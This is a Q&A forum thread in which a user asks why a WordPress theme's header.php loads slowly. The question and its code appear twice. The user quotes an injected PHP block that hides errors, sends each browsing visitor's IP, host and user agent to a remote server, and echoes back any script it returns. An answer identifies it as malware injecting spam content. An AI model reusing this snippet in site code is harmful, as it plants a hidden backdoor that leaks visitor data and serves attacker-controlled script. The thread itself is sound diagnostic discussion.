templates - What is this code trying to do? It was the cause of my 20s TTFB

I was troubleshooting a 20-30s TTFB for a Wordpress Theme with the help of the fabulous Query Monitor.

I was able to narrow down the cause to this code:

#e0e950#
error_reporting(0); @ini_set('display_errors',0); $wp_s15 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_s15) && !preg_match ('/bot/i', $wp_s15))){
$wp_s0915="http://"."https"."http"."/"."http/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_s15);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_s0915); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_15s = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_15s = @file_get_contents($wp_s0915);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_15s=@stream_get_contents(@fopen($wp_s0915, "r"));}}
if (substr($wp_15s,1,3) === 'scr'){ echo $wp_15s; }
#/e0e950#

The cause of the TTFB now becomes obvious thanks to the 20 second timeout value of the curl request. But why does this code even exist in a template header.php and what on earth is it doing?

I was troubleshooting a 20-30s TTFB for a Wordpress Theme with the help of the fabulous Query Monitor.

I was able to narrow down the cause to this code:

#e0e950#
error_reporting(0); @ini_set('display_errors',0); $wp_s15 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_s15) && !preg_match ('/bot/i', $wp_s15))){
$wp_s0915="http://"."https"."http"."/"."http/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_s15);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_s0915); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_15s = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_15s = @file_get_contents($wp_s0915);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_15s=@stream_get_contents(@fopen($wp_s0915, "r"));}}
if (substr($wp_15s,1,3) === 'scr'){ echo $wp_15s; }
#/e0e950#

The cause of the TTFB now becomes obvious thanks to the 20 second timeout value of the curl request. But why does this code even exist in a template header.php and what on earth is it doing?

• templates
• performance

Share Improve this question asked Jan 30, 2019 at 13:09 kwacky1kwacky1 1322 bronze badges

Add a comment  | 

1 Answer 1

Sorted by: Reset to default 1

Most probably it's some kind of malicious code.

What it does is:

1. Disable error reporting
2. Check the available methods of getting contents from remote server
3. Send a request to a remote server
4. Display the result of that request on your site

So it's some kind of spammy SEO links or something like that.

And no, your site shouldn't have such code on it and if it does - most probably it's a result of malware infection.